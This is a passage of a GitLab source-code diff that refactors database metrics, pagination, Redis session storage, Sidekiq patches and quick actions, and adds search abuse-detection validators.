# tell if the log key is referring to a db_role OR a db_config_name.
if db_role.present? && db_config_name.present?
- log_key = compose_metric_key(counter, db_role, db_config_name)
+ log_key = compose_metric_key(counter, nil, db_config_name)
Gitlab::SafeRequestStore[log_key] = Gitlab::SafeRequestStore[log_key].to_i + 1
end
end
@@ -172,26 +174,34 @@ module Gitlab
end
def self.load_balancing_metric_counter_keys
- load_balancing_metric_keys(DB_LOAD_BALANCING_COUNTERS)
+ strong_memoize(:load_balancing_metric_counter_keys) do
+ load_balancing_metric_keys(DB_LOAD_BALANCING_COUNTERS)
+ end
end
def self.load_balancing_metric_duration_keys
- load_balancing_metric_keys(DB_LOAD_BALANCING_DURATIONS)
+ strong_memoize(:load_balancing_metric_duration_keys) do
+ load_balancing_metric_keys(DB_LOAD_BALANCING_DURATIONS)
+ end
end
def self.load_balancing_metric_keys(metrics)
- [].tap do |counters|
+ counters = []
+
+ metrics.each do |metric|
DB_LOAD_BALANCING_ROLES.each do |role|
- metrics.each do |metric|
- counters << compose_metric_key(metric, role)
- next unless ENV['GITLAB_MULTIPLE_DATABASE_METRICS']
+ counters << compose_metric_key(metric, role)
+ end
- ::Gitlab::Database.db_config_names.each do |config_name|
- counters << compose_metric_key(metric, role, config_name)
- end
+ if ENV['GITLAB_MULTIPLE_DATABASE_METRICS']
+ ::Gitlab::Database.db_config_names.each do |config_name|
+ counters << compose_metric_key(metric, nil, config_name) # main
+ counters << compose_metric_key(metric, nil, config_name + ::Gitlab::Database::LoadBalancing::LoadBalancer::REPLICA_SUFFIX) # main_replica
end
end
end
+
+ counters
end
def compose_metric_key(metric, db_role = nil, db_config_name = nil)
diff --git a/lib/gitlab/pagination/keyset/iterator.rb b/lib/gitlab/pagination/keyset/iterator.rb
index bcd17fd0d34..33587f9d6f4 100644
--- a/lib/gitlab/pagination/keyset/iterator.rb
+++ b/lib/gitlab/pagination/keyset/iterator.rb
@@ -9,7 +9,7 @@ module Gitlab
raise(UnsupportedScopeOrder) unless success
@cursor = cursor
- @order = Gitlab::Pagination::Keyset::Order.extract_keyset_order_object(scope)
+ @order = Gitlab::Pagination::Keyset::Order.extract_keyset_order_object(@scope)
@use_union_optimization = in_operator_optimization_options ? false : use_union_optimization
@in_operator_optimization_options = in_operator_optimization_options
end
diff --git a/lib/gitlab/pagination/keyset/order.rb b/lib/gitlab/pagination/keyset/order.rb
index 80726fc8efd..1a00692bdbe 100644
--- a/lib/gitlab/pagination/keyset/order.rb
+++ b/lib/gitlab/pagination/keyset/order.rb
@@ -155,7 +155,7 @@ module Gitlab
def apply_cursor_conditions(scope, values = {}, options = { use_union_optimization: false, in_operator_optimization_options: nil })
values ||= {}
transformed_values = values.with_indifferent_access
- scope = apply_custom_projections(scope.dup)
+ scope = apply_custom_projections(scope)
where_values = build_where_values(transformed_values)
diff --git a/lib/gitlab/pagination/offset_pagination.rb b/lib/gitlab/pagination/offset_pagination.rb
index 7b5013f137b..4f8a6ffb2cc 100644
--- a/lib/gitlab/pagination/offset_pagination.rb
+++ b/lib/gitlab/pagination/offset_pagination.rb
@@ -29,7 +29,7 @@ module Gitlab
return pagination_data unless Feature.enabled?(:api_kaminari_count_with_limit, type: :ops)
limited_total_count = pagination_data.total_count_with_limit
- if limited_total_count > max_limit
+ if limited_total_count > Kaminari::ActiveRecordRelationMethods::MAX_COUNT_LIMIT
# The call to `total_count_with_limit` memoizes `@arel` because of a call to `references_eager_loaded_tables?`
# We need to call `reset` because `without_count` relies on `@arel` being unmemoized
pagination_data.reset.without_count
@@ -38,14 +38,6 @@ module Gitlab
end
end
- def max_limit
- if Feature.enabled?(:lower_relation_max_count_limit, type: :ops)
- Kaminari::ActiveRecordRelationMethods::MAX_COUNT_NEW_LOWER_LIMIT
- else
- Kaminari::ActiveRecordRelationMethods::MAX_COUNT_LIMIT
- end
- end
-
def needs_pagination?(relation)
return true unless relation.respond_to?(:current_page)
return true if params[:page].present? && relation.current_page != params[:page].to_i
diff --git a/lib/gitlab/patch/legacy_database_config.rb b/lib/gitlab/patch/legacy_database_config.rb
index a7d4fdf7490..6040f737c75 100644
--- a/lib/gitlab/patch/legacy_database_config.rb
+++ b/lib/gitlab/patch/legacy_database_config.rb
@@ -35,6 +35,40 @@ module Gitlab
attr_reader :uses_legacy_database_config
end
+ def load_database_yaml
+ return super unless Gitlab.ee?
+
+ super.deep_merge(load_geo_database_yaml)
+ end
+
+ # This method is taken from Rails to load a database YAML file without
+ # evaluating ERB. This allows us to create the rake tasks for the Geo
+ # tracking database without filling in the configuration values or
+ # loading the environment. To be removed when we start configure Geo
+ # tracking database in database.yml instead of custom database_geo.yml
+ #
+ # https://github.com/rails/rails/blob/v6.1.4/railties/lib/rails/application/configuration.rb#L255
+ def load_geo_database_yaml
+ path = Rails.root.join("config/database_geo.yml")
+ return {} unless File.exist?(path)
+
+ require "rails/application/dummy_erb_compiler"
+
+ yaml = DummyERB.new(Pathname.new(path).read).result
+ config = YAML.load(yaml) || {} # rubocop:disable Security/YAMLLoad
+
+ config.to_h do |env, configs|
+ # This check is taken from Rails where the transformation
+ # of a flat database.yml is done into `primary:`
+ # https://github.com/rails/rails/blob/v6.1.4/activerecord/lib/active_record/database_configurations.rb#L169
+ if configs.is_a?(Hash) && !configs.all? { |_, v| v.is_a?(Hash) }
+ configs = { "geo" => configs }
+ end
+
+ [env, configs]
+ end
+ end
+
def database_configuration
@uses_legacy_database_config = false # rubocop:disable Gitlab/ModuleWithInstanceVariables
@@ -48,6 +82,16 @@ module Gitlab
@uses_legacy_database_config = true # rubocop:disable Gitlab/ModuleWithInstanceVariables
end
+ if Gitlab.ee? && File.exist?(Rails.root.join("config/database_geo.yml"))
+ migrations_paths = ["ee/db/geo/migrate"]
+ migrations_paths << "ee/db/geo/post_migrate" unless ENV['SKIP_POST_DEPLOYMENT_MIGRATIONS']
+
+ configs["geo"] =
+ Rails.application.config_for(:database_geo)
+ .merge(migrations_paths: migrations_paths, schema_migrations_path: "ee/db/geo/schema_migrations")
+ .stringify_keys
+ end
+
[env, configs]
end
end
diff --git a/lib/gitlab/patch/sidekiq_client.rb b/lib/gitlab/patch/sidekiq_client.rb
deleted file mode 100644
index 2de13560cce..00000000000
--- a/lib/gitlab/patch/sidekiq_client.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Patch
- module SidekiqClient
- private
-
- # This is a copy of https://github.com/mperham/sidekiq/blob/v6.2.2/lib/sidekiq/client.rb#L187-L194
- # but using `conn.pipelined` instead of `conn.multi`. The multi call isn't needed here because in
- # the case of scheduled jobs, only one Redis call is made. For other jobs, we don't really need
- # the commands to be atomic.
- def raw_push(payloads)
- @redis_pool.with do |conn| # rubocop:disable Gitlab/ModuleWithInstanceVariables
- conn.pipelined do
- atomic_push(conn, payloads)
- end
- end
- true
- end
- end
- end
-end
diff --git a/lib/gitlab/patch/sidekiq_cron_poller.rb b/lib/gitlab/patch/sidekiq_cron_poller.rb
deleted file mode 100644
index 56ca24c68f5..00000000000
--- a/lib/gitlab/patch/sidekiq_cron_poller.rb
+++ /dev/null
@@ -1,17 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module Patch
- module SidekiqCronPoller
- def enqueue
- Rails.application.reloader.wrap do
- ::Gitlab::WithRequestStore.with_request_store do
- super
- ensure
- ::Gitlab::Database::LoadBalancing.release_hosts
- end
- end
- end
- end
- end
-end
diff --git a/lib/gitlab/patch/sidekiq_poller.rb b/lib/gitlab/patch/sidekiq_poller.rb
new file mode 100644
index 00000000000..d4264cec1ab
--- /dev/null
+++ b/lib/gitlab/patch/sidekiq_poller.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Patch
+ module SidekiqPoller
+ def enqueue
+ Rails.application.reloader.wrap do
+ ::Gitlab::WithRequestStore.with_request_store do
+ super
+ ensure
+ ::Gitlab::Database::LoadBalancing.release_hosts
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/process_management.rb b/lib/gitlab/process_management.rb
new file mode 100644
index 00000000000..25a198e4a6a
--- /dev/null
+++ b/lib/gitlab/process_management.rb
@@ -0,0 +1,85 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module ProcessManagement
+ # Traps the given signals and yields the block whenever these signals are
+ # received.
+ #
+ # The block is passed the name of the signal.
+ #
+ # Example:
+ #
+ # trap_signals(%i(HUP TERM)) do |signal|
+ # ...
+ # end
+ def self.trap_signals(signals)
+ signals.each do |signal|
+ trap(signal) do
+ yield signal
+ end
+ end
+ end
+
+ # Traps the given signals with the given command.
+ #
+ # Example:
+ #
+ # modify_signals(%i(HUP TERM), 'DEFAULT')
+ def self.modify_signals(signals, command)
+ signals.each { |signal| trap(signal, command) }
+ end
+
+ def self.signal(pid, signal)
+ Process.kill(signal, pid)
+ true
+ rescue Errno::ESRCH
+ false
+ end
+
+ def self.signal_processes(pids, signal)
+ pids.each { |pid| signal(pid, signal) }
+ end
+
+ # Waits for the given process to complete using a separate thread.
+ def self.wait_async(pid)
+ Thread.new do
+ Process.wait(pid) rescue Errno::ECHILD
+ end
+ end
+
+ # Returns true if all the processes are alive.
+ def self.all_alive?(pids)
+ pids.each do |pid|
+ return false unless process_alive?(pid)
+ end
+
+ true
+ end
+
+ def self.any_alive?(pids)
+ pids_alive(pids).any?
+ end
+
+ def self.pids_alive(pids)
+ pids.select { |pid| process_alive?(pid) }
+ end
+
+ def self.process_alive?(pid)
+ return false if pid.nil?
+
+ # Signal 0 tests whether the process exists and we have access to send signals
+ # but is otherwise a noop (doesn't actually send a signal to the process)
+ signal(pid, 0)
+ end
+
+ def self.process_died?(pid)
+ !process_alive?(pid)
+ end
+
+ def self.write_pid(path)
+ File.open(path, 'w') do |handle|
+ handle.write(Process.pid.to_s)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/quick_actions/issue_actions.rb b/lib/gitlab/quick_actions/issue_actions.rb
index a55ead519e2..5fd422db722 100644
--- a/lib/gitlab/quick_actions/issue_actions.rb
+++ b/lib/gitlab/quick_actions/issue_actions.rb
@@ -206,7 +206,7 @@ module Gitlab
end
desc _('Add Zoom meeting')
- explanation _('Adds a Zoom meeting')
+ explanation _('Adds a Zoom meeting.')
params '<Zoom URL>'
types Issue
condition do
@@ -223,7 +223,7 @@ module Gitlab
end
desc _('Remove Zoom meeting')
- explanation _('Remove Zoom meeting')
+ explanation _('Remove Zoom meeting.')
execution_message _('Zoom meeting removed')
types Issue
condition do
@@ -236,7 +236,7 @@ module Gitlab
end
desc _('Add email participant(s)')
- explanation _('Adds email participant(s)')
+ explanation _('Adds email participant(s).')
params 'email1@example.com email2@example.com (up to 6 emails)'
types Issue
condition do
@@ -285,6 +285,34 @@ module Gitlab
end
end
+ desc _('Add customer relation contacts')
+ explanation _('Add customer relation contact(s).')
+ params 'contact@example.com person@example.org'
+ types Issue
+ condition do
+ current_user.can?(:set_issue_crm_contacts, quick_action_target)
+ end
+ execution_message do
+ _('One or more contacts were successfully added.')
+ end
+ command :add_contacts do |contact_emails|
+ @updates[:add_contacts] = contact_emails.split(' ')
+ end
+
+ desc _('Remove customer relation contacts')
+ explanation _('Remove customer relation contact(s).')
+ params 'contact@example.com person@example.org'
+ types Issue
+ condition do
+ current_user.can?(:set_issue_crm_contacts, quick_action_target)
+ end
+ execution_message do
+ _('One or more contacts were successfully removed.')
+ end
+ command :remove_contacts do |contact_emails|
+ @updates[:remove_contacts] = contact_emails.split(' ')
+ end
+
private
def zoom_link_service
diff --git a/lib/gitlab/rack_attack/request.rb b/lib/gitlab/rack_attack/request.rb
index dbc77c9f9d7..94ae29af3d0 100644
--- a/lib/gitlab/rack_attack/request.rb
+++ b/lib/gitlab/rack_attack/request.rb
@@ -139,14 +139,12 @@ module Gitlab
def throttle_unauthenticated_files_api?
files_api_path? &&
- Feature.enabled?(:files_api_throttling, default_enabled: :yaml) &&
Gitlab::Throttle.settings.throttle_unauthenticated_files_api_enabled &&
unauthenticated?
end
def throttle_authenticated_files_api?
files_api_path? &&
- Feature.enabled?(:files_api_throttling, default_enabled: :yaml) &&
Gitlab::Throttle.settings.throttle_authenticated_files_api_enabled
end
diff --git a/lib/gitlab/rate_limit_helpers.rb b/lib/gitlab/rate_limit_helpers.rb
deleted file mode 100644
index 653410a40a5..00000000000
--- a/lib/gitlab/rate_limit_helpers.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-module Gitlab
- module RateLimitHelpers
- ARCHIVE_RATE_LIMIT_REACHED_MESSAGE = 'This archive has been requested too many times. Try again later.'
- ARCHIVE_RATE_ANONYMOUS_THRESHOLD = 100 # Allow 100 requests/min for anonymous users
- ARCHIVE_RATE_THROTTLE_KEY = :project_repositories_archive
-
- def archive_rate_limit_reached?(user, project)
- return false unless Feature.enabled?(:archive_rate_limit)
-
- key = ARCHIVE_RATE_THROTTLE_KEY
-
- if rate_limiter.throttled?(key, scope: [project, user], threshold: archive_rate_threshold_by_user(user))
- rate_limiter.log_request(request, "#{key}_request_limit".to_sym, user)
-
- return true
- end
-
- false
- end
-
- def archive_rate_threshold_by_user(user)
- if user
- nil # Use the defaults
- else
- ARCHIVE_RATE_ANONYMOUS_THRESHOLD
- end
- end
-
- def rate_limiter
- ::Gitlab::ApplicationRateLimiter
- end
- end
-end
diff --git a/lib/gitlab/redis/multi_store.rb b/lib/gitlab/redis/multi_store.rb
index f930a0040bc..500b62bf0e8 100644
--- a/lib/gitlab/redis/multi_store.rb
+++ b/lib/gitlab/redis/multi_store.rb
@@ -21,6 +21,8 @@ module Gitlab
FAILED_TO_READ_ERROR_MESSAGE = 'Failed to read from the redis primary_store.'
FAILED_TO_WRITE_ERROR_MESSAGE = 'Failed to write to the redis primary_store.'
+ SKIP_LOG_METHOD_MISSING_FOR_COMMANDS = %i(info).freeze
+
READ_COMMANDS = %i(
get
mget
@@ -39,41 +41,42 @@ module Gitlab
flushdb
).freeze
- def initialize(primary_store, secondary_store, instance_name = nil)
+ def initialize(primary_store, secondary_store, instance_name)
@primary_store = primary_store
@secondary_store = secondary_store
@instance_name = instance_name
validate_stores!
end
-
+ # rubocop:disable GitlabSecurity/PublicSend
READ_COMMANDS.each do |name|
define_method(name) do |*args, &block|
- if multi_store_enabled?
+ if use_primary_and_secondary_stores?
read_command(name, *args, &block)
else
- secondary_store.send(name, *args, &block) # rubocop:disable GitlabSecurity/PublicSend
+ default_store.send(name, *args, &block)
end
end
end
WRITE_COMMANDS.each do |name|
define_method(name) do |*args, &block|
- if multi_store_enabled?
+ if use_primary_and_secondary_stores?
write_command(name, *args, &block)
else
- secondary_store.send(name, *args, &block) # rubocop:disable GitlabSecurity/PublicSend
+ default_store.send(name, *args, &block)
end
end
end
def method_missing(...)
- return @instance.send(...) if @instance # rubocop:disable GitlabSecurity/PublicSend
+ return @instance.send(...) if @instance
log_method_missing(...)
- secondary_store.send(...) # rubocop:disable GitlabSecurity/PublicSend
+ default_store.send(...)
end
+ # rubocop:enable GitlabSecurity/PublicSend
def respond_to_missing?(command_name, include_private = false)
true
@@ -83,23 +86,37 @@ module Gitlab
# https://github.com/redis-store/redis-rack/blob/a833086ba494083b6a384a1a4e58b36573a9165d/lib/redis/rack/connection.rb#L15
# Done similarly in https://github.com/lsegal/yard/blob/main/lib/yard/templates/template.rb#L122
def is_a?(klass)
- return true if klass == secondary_store.class
+ return true if klass == default_store.class
super(klass)
end
alias_method :kind_of?, :is_a?
def to_s
- if multi_store_enabled?
- primary_store.to_s
- else
- secondary_store.to_s
- end
+ use_primary_and_secondary_stores? ? primary_store.to_s : default_store.to_s
+ end
+
+ def use_primary_and_secondary_stores?
+ feature_flags_available? &&
+ Feature.enabled?("use_primary_and_secondary_stores_for_#{instance_name.underscore}", default_enabled: :yaml) &&
+ !same_redis_store?
+ end
+
+ def use_primary_store_as_default?
+ feature_flags_available? &&
+ Feature.enabled?("use_primary_store_as_default_for_#{instance_name.underscore}", default_enabled: :yaml) &&
+ !same_redis_store?
end
private
+ def default_store
+ use_primary_store_as_default? ? primary_store : secondary_store
+ end
+
def log_method_missing(command_name, *_args)
+ return if SKIP_LOG_METHOD_MISSING_FOR_COMMANDS.include?(command_name)
+
log_error(MethodMissingError.new, command_name)
increment_method_missing_count(command_name)
end
@@ -155,10 +172,6 @@ module Gitlab
send_command(secondary_store, command_name, *args, &block)
end
- def multi_store_enabled?
- Feature.enabled?(:use_multi_store, default_enabled: :yaml) && !same_redis_store?
- end
-
def same_redis_store?
strong_memoize(:same_redis_store) do
# <Redis client v4.4.0 for redis:///path_to/redis/redis.socket/5>"
@@ -194,12 +207,13 @@ module Gitlab
def increment_method_missing_count(command_name)
@method_missing_counter ||= Gitlab::Metrics.counter(:gitlab_redis_multi_store_method_missing_total, 'Client side Redis MultiStore method missing')
- @method_missing_counter.increment(command: command_name, innamece_name: instance_name)
+ @method_missing_counter.increment(command: command_name, instance_name: instance_name)
end
def validate_stores!
raise ArgumentError, 'primary_store is required' unless primary_store
raise ArgumentError, 'secondary_store is required' unless secondary_store
+ raise ArgumentError, 'instance_name is required' unless instance_name
raise ArgumentError, 'invalid primary_store' unless primary_store.is_a?(::Redis)
raise ArgumentError, 'invalid secondary_store' unless secondary_store.is_a?(::Redis)
end
diff --git a/lib/gitlab/redis/sessions.rb b/lib/gitlab/redis/sessions.rb
index 3bf1eb6211d..c547828d907 100644
--- a/lib/gitlab/redis/sessions.rb
+++ b/lib/gitlab/redis/sessions.rb
@@ -3,9 +3,45 @@
module Gitlab
module Redis
class Sessions < ::Gitlab::Redis::Wrapper
- # The data we store on Sessions used to be stored on SharedState.
- def self.config_fallback
- SharedState
+ SESSION_NAMESPACE = 'session:gitlab'
+ USER_SESSIONS_NAMESPACE = 'session:user:gitlab'
+ USER_SESSIONS_LOOKUP_NAMESPACE = 'session:lookup:user:gitlab'
+ IP_SESSIONS_LOOKUP_NAMESPACE = 'session:lookup:ip:gitlab2'
+ OTP_SESSIONS_NAMESPACE = 'session:otp'
+
+ class << self
+ # The data we store on Sessions used to be stored on SharedState.
+ def config_fallback
+ SharedState
+ end
+
+ private
+
+ def redis
+ # Don't use multistore if redis.sessions configuration is not provided
+ return super if config_fallback?
+
+ primary_store = ::Redis.new(params)
+ secondary_store = ::Redis.new(config_fallback.params)
+
+ MultiStore.new(primary_store, secondary_store, store_name)
+ end
+ end
+
+ def store(extras = {})
+ # Don't use multistore if redis.sessions configuration is not provided
+ return super if self.class.config_fallback?
+
+ primary_store = create_redis_store(redis_store_options, extras)
+ secondary_store = create_redis_store(self.class.config_fallback.params, extras)
+
+ MultiStore.new(primary_store, secondary_store, self.class.store_name)
+ end
+
+ private
+
+ def create_redis_store(options, extras)
+ ::Redis::Store.new(options.merge(extras))
end
end
end
diff --git a/lib/gitlab/redis/sessions_store_helper.rb b/lib/gitlab/redis/sessions_store_helper.rb
new file mode 100644
index 00000000000..c80442847f1
--- /dev/null
+++ b/lib/gitlab/redis/sessions_store_helper.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Redis
+ module SessionsStoreHelper
+ extend ActiveSupport::Concern
+
+ module StoreMethods
+ def redis_store_class
+ use_redis_session_store? ? Gitlab::Redis::Sessions : Gitlab::Redis::SharedState
+ end
+
+ private
+
+ def use_redis_session_store?
+ Gitlab::Utils.to_boolean(ENV['GITLAB_USE_REDIS_SESSIONS_STORE'], default: true)
+ end
+ end
+
+ include StoreMethods
+
+ included do
+ extend StoreMethods
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/redis/shared_state.rb b/lib/gitlab/redis/shared_state.rb
index 1250eabb041..fb3a143121b 100644
--- a/lib/gitlab/redis/shared_state.rb
+++ b/lib/gitlab/redis/shared_state.rb
@@ -3,10 +3,6 @@
module Gitlab
module Redis
class SharedState < ::Gitlab::Redis::Wrapper
- SESSION_NAMESPACE = 'session:gitlab'
- USER_SESSIONS_NAMESPACE = 'session:user:gitlab'
- USER_SESSIONS_LOOKUP_NAMESPACE = 'session:lookup:user:gitlab'
- IP_SESSIONS_LOOKUP_NAMESPACE = 'session:lookup:ip:gitlab2'
end
end
end
diff --git a/lib/gitlab/redis/wrapper.rb b/lib/gitlab/redis/wrapper.rb
index 985c8dc619c..75dbccb965d 100644
--- a/lib/gitlab/redis/wrapper.rb
+++ b/lib/gitlab/redis/wrapper.rb
@@ -28,7 +28,7 @@ module Gitlab
end
def pool
- @pool ||= ConnectionPool.new(size: pool_size) { ::Redis.new(params) }
+ @pool ||= ConnectionPool.new(size: pool_size) { redis }
end
def pool_size
@@ -67,6 +67,10 @@ module Gitlab
File.expand_path('../../..', __dir__)
end
+ def config_fallback?
+ config_file_name == config_fallback&.config_file_name
+ end
+
def config_file_name
[
# Instance specific config sources:
@@ -100,6 +104,12 @@ module Gitlab
"::Gitlab::Instrumentation::Redis::#{store_name}".constantize
end
+
+ private
+
+ def redis
+ ::Redis.new(params)
+ end
end
def initialize(rails_env = nil)
diff --git a/lib/gitlab/regex.rb b/lib/gitlab/regex.rb
index 904fc744c6b..8e139ae0709 100644
--- a/lib/gitlab/regex.rb
+++ b/lib/gitlab/regex.rb
@@ -16,8 +16,13 @@ module Gitlab
@conan_revision_regex ||= %r{\A0\z}.freeze
end
+ def conan_recipe_user_channel_regex
+ %r{\A(_|#{conan_name_regex})\z}.freeze
+ end
+
def conan_recipe_component_regex
- @conan_recipe_component_regex ||= %r{\A[a-zA-Z0-9_][a-zA-Z0-9_\+\.-]{1,49}\z}.freeze
+ # https://docs.conan.io/en/latest/reference/conanfile/attributes.html#name
+ @conan_recipe_component_regex ||= %r{\A#{conan_name_regex}\z}.freeze
end
def composer_package_version_regex
@@ -211,6 +216,12 @@ module Gitlab
def generic_package_file_name_regex
generic_package_name_regex
end
+
+ private
+
+ def conan_name_regex
+ @conan_name_regex ||= %r{[a-zA-Z0-9_][a-zA-Z0-9_\+\.-]{1,49}}.freeze
+ end
end
extend self
@@ -413,7 +424,11 @@ module Gitlab
end
def issue
- @issue ||= /(?<issue>\d+\b)/
+ @issue ||= /(?<issue>\d+)(?<format>\+)?(?=\W|\z)/
+ end
+
+ def merge_request
+ @merge_request ||= /(?<merge_request>\d+)(?<format>\+)?/
end
def base64_regex
@@ -430,3 +445,5 @@ module Gitlab
end
end
end
+
+Gitlab::Regex.prepend_mod
diff --git a/lib/gitlab/relative_positioning/item_context.rb b/lib/gitlab/relative_positioning/item_context.rb
index 1e738aef9b0..98e52e8e767 100644
--- a/lib/gitlab/relative_positioning/item_context.rb
+++ b/lib/gitlab/relative_positioning/item_context.rb
@@ -66,19 +66,11 @@ module Gitlab
end
def lhs_neighbour
- scoped_items
- .where('relative_position < ?', relative_position)
- .reorder(relative_position: :desc)
- .first
- .then { |x| neighbour(x) }
+ neighbour(object.next_object_by_relative_position(ignoring: ignoring, order: :desc))
end
def rhs_neighbour
- scoped_items
- .where('relative_position > ?', relative_position)
- .reorder(relative_position: :asc)
- .first
- .then { |x| neighbour(x) }
+ neighbour(object.next_object_by_relative_position(ignoring: ignoring, order: :asc))
end
def neighbour(item)
@@ -87,12 +79,6 @@ module Gitlab
self.class.new(item, range, ignoring: ignoring)
end
- def scoped_items
- r = model_class.relative_positioning_query_base(object)
- r = object.exclude_self(r, excluded: ignoring) if ignoring.present?
- r
- end
-
def calculate_relative_position(calculation)
# When calculating across projects, this is much more efficient than
# MAX(relative_position) without the GROUP BY, due to index usage:
@@ -186,6 +172,10 @@ module Gitlab
Gap.new(gap.first, gap.second || default_end)
end
+ def scoped_items
+ object.relative_positioning_scoped_items(ignoring: ignoring)
+ end
+
def relative_position
object.relative_position
end
diff --git a/lib/gitlab/repository_archive_rate_limiter.rb b/lib/gitlab/repository_archive_rate_limiter.rb
new file mode 100644
index 00000000000..31a3dc34bf6
--- /dev/null
+++ b/lib/gitlab/repository_archive_rate_limiter.rb
@@ -0,0 +1,13 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module RepositoryArchiveRateLimiter
+ def check_archive_rate_limit!(current_user, project, &block)
+ return unless Feature.enabled?(:archive_rate_limit)
+
+ threshold = current_user ? nil : 100
+
+ check_rate_limit!(:project_repositories_archive, scope: [project, current_user], threshold: threshold, &block)
+ end
+ end
+end
diff --git a/lib/gitlab/saas.rb b/lib/gitlab/saas.rb
index 1e00bd4cbfc..577e33fd700 100644
--- a/lib/gitlab/saas.rb
+++ b/lib/gitlab/saas.rb
@@ -13,6 +13,10 @@ module Gitlab
'https://staging.gitlab.com'
end
+ def self.canary_toggle_com_url
+ 'https://next.gitlab.com'
+ end
+
def self.subdomain_regex
%r{\Ahttps://[a-z0-9]+\.gitlab\.com\z}.freeze
end
diff --git a/lib/gitlab/search/abuse_detection.rb b/lib/gitlab/search/abuse_detection.rb
new file mode 100644
index 00000000000..7b5377bce88
--- /dev/null
+++ b/lib/gitlab/search/abuse_detection.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Search
+ class AbuseDetection
+ include ActiveModel::Validations
+ include AbuseValidators
+
+ ABUSIVE_TERM_SIZE = 100
+ ALLOWED_CHARS_REGEX = %r{\A[[:alnum:]_\-\/\.!]+\z}.freeze
+ MINIMUM_SEARCH_CHARS = 2
+
+ ALLOWED_SCOPES = %w(
+ blobs
+ code
+ commits
+ epics
+ issues
+ merge_requests
+ milestones
+ notes
+ projects
+ snippet_titles
+ users
+ wiki_blobs
+ ).freeze
+
+ READABLE_PARAMS = %i(
+ group_id
+ project_id
+ project_ref
+ query_string
+ repository_ref
+ scope
+ ).freeze
+
+ STOP_WORDS = %w(
+ a an and are as at be but by for if in into is it no not of on or such that the their then there these they this to was will with
+ ).freeze
+
+ validates :project_id, :group_id,
+ numericality: { only_integer: true, message: "abusive ID detected" }, allow_blank: true
+
+ validates :scope, inclusion: { in: ALLOWED_SCOPES, message: 'abusive scope detected' }, allow_blank: true
+
+ validates :repository_ref, :project_ref,
+ format: { with: ALLOWED_CHARS_REGEX, message: "abusive characters detected" }, allow_blank: true
+
+ validates :query_string,
+ exclusion: { in: STOP_WORDS, message: 'stopword only abusive search detected' }, allow_blank: true
+
+ validates :query_string,
+ length: { minimum: MINIMUM_SEARCH_CHARS, message: 'abusive tiny search detected' }, unless: :skip_tiny_search_validation?, allow_blank: true
+
+ validates :query_string,
+ no_abusive_term_length: { maximum: ABUSIVE_TERM_SIZE, maximum_for_url: ABUSIVE_TERM_SIZE * 2 }
+
+ validates :query_string, :repository_ref, :project_ref, no_abusive_coercion_from_string: true
+
+ attr_reader(*READABLE_PARAMS)
+
+ def initialize(params)
+ READABLE_PARAMS.each { |p| instance_variable_set("@#{p}", params[p]) }
+ end
+
+ private
+
+ def skip_tiny_search_validation?
+ wildcard_search? || stop_word_search?
+ end
+
+ def wildcard_search?
+ query_string == '*'
+ end
+
+ def stop_word_search?
+ STOP_WORDS.include? query_string
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/search/abuse_validators/no_abusive_coercion_from_string_validator.rb b/lib/gitlab/search/abuse_validators/no_abusive_coercion_from_string_validator.rb
new file mode 100644
index 00000000000..06464980afd
--- /dev/null
+++ b/lib/gitlab/search/abuse_validators/no_abusive_coercion_from_string_validator.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Search
+ module AbuseValidators
+ class NoAbusiveCoercionFromStringValidator < ActiveModel::EachValidator
+ def validate_each(instance, attribute, value)
+ if value.present? && !value.is_a?(String)
+ instance.errors.add attribute, "abusive coercion from string detected"
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/search/abuse_validators/no_abusive_term_length_validator.rb b/lib/gitlab/search/abuse_validators/no_abusive_term_length_validator.rb
new file mode 100644
index 00000000000..8a94520d8fd
--- /dev/null
+++ b/lib/gitlab/search/abuse_validators/no_abusive_term_length_validator.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Search
+ module AbuseValidators
+ class NoAbusiveTermLengthValidator < ActiveModel::EachValidator
+ def validate_each(instance, attribute, value)
+ return unless value.is_a?(String)
+
+ if value.split.any? { |term| term_too_long?(term) }
+ instance.errors.add attribute, 'abusive term length detected'
+ end
+ end
+
+ private
+
+ def term_too_long?(term)
+ char_limit = url_detected?(term) ? maximum_for_url : maximum
+ term.length >= char_limit
+ end
+
+ def url_detected?(uri_str)
+ URI::DEFAULT_PARSER.regexp[:ABS_URI].match? uri_str
+ end
+
+ def maximum_for_url
+ options.fetch(:maximum_for_url, maximum)
+ end
+
+ def maximum
+ options.fetch(:maximum)
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/search/params.rb b/lib/gitlab/search/params.rb
new file mode 100644
index 00000000000..e6a1305a82a
--- /dev/null
+++ b/lib/gitlab/search/params.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Search
+ class Params
+ include ActiveModel::Validations
+
+ SEARCH_CHAR_LIMIT = 4096
+ SEARCH_TERM_LIMIT = 64
+
+ # Generic validation
+ validates :query_string, length: { maximum: SEARCH_CHAR_LIMIT }
+ validate :not_too_many_terms
+
+ attr_reader :raw_params, :query_string, :abuse_detection
+ alias_method :search, :query_string
+ alias_method :term, :query_string
+
+ def initialize(params, detect_abuse: true)
+ @raw_params = params.is_a?(Hash) ? params.with_indifferent_access : params.dup
+ @query_string = strip_surrounding_whitespace(@raw_params[:search] || @raw_params[:term])
+ @detect_abuse = detect_abuse
+ @abuse_detection = AbuseDetection.new(self) if @detect_abuse
+
+ validate
+ end
+
+ def [](key)
+ if respond_to? key
+ # We have this logic here to support reading custom attributes
+ # like @query_string
+ #
+ # This takes precedence over values in @raw_params
+ public_send(key) # rubocop:disable GitlabSecurity/PublicSend
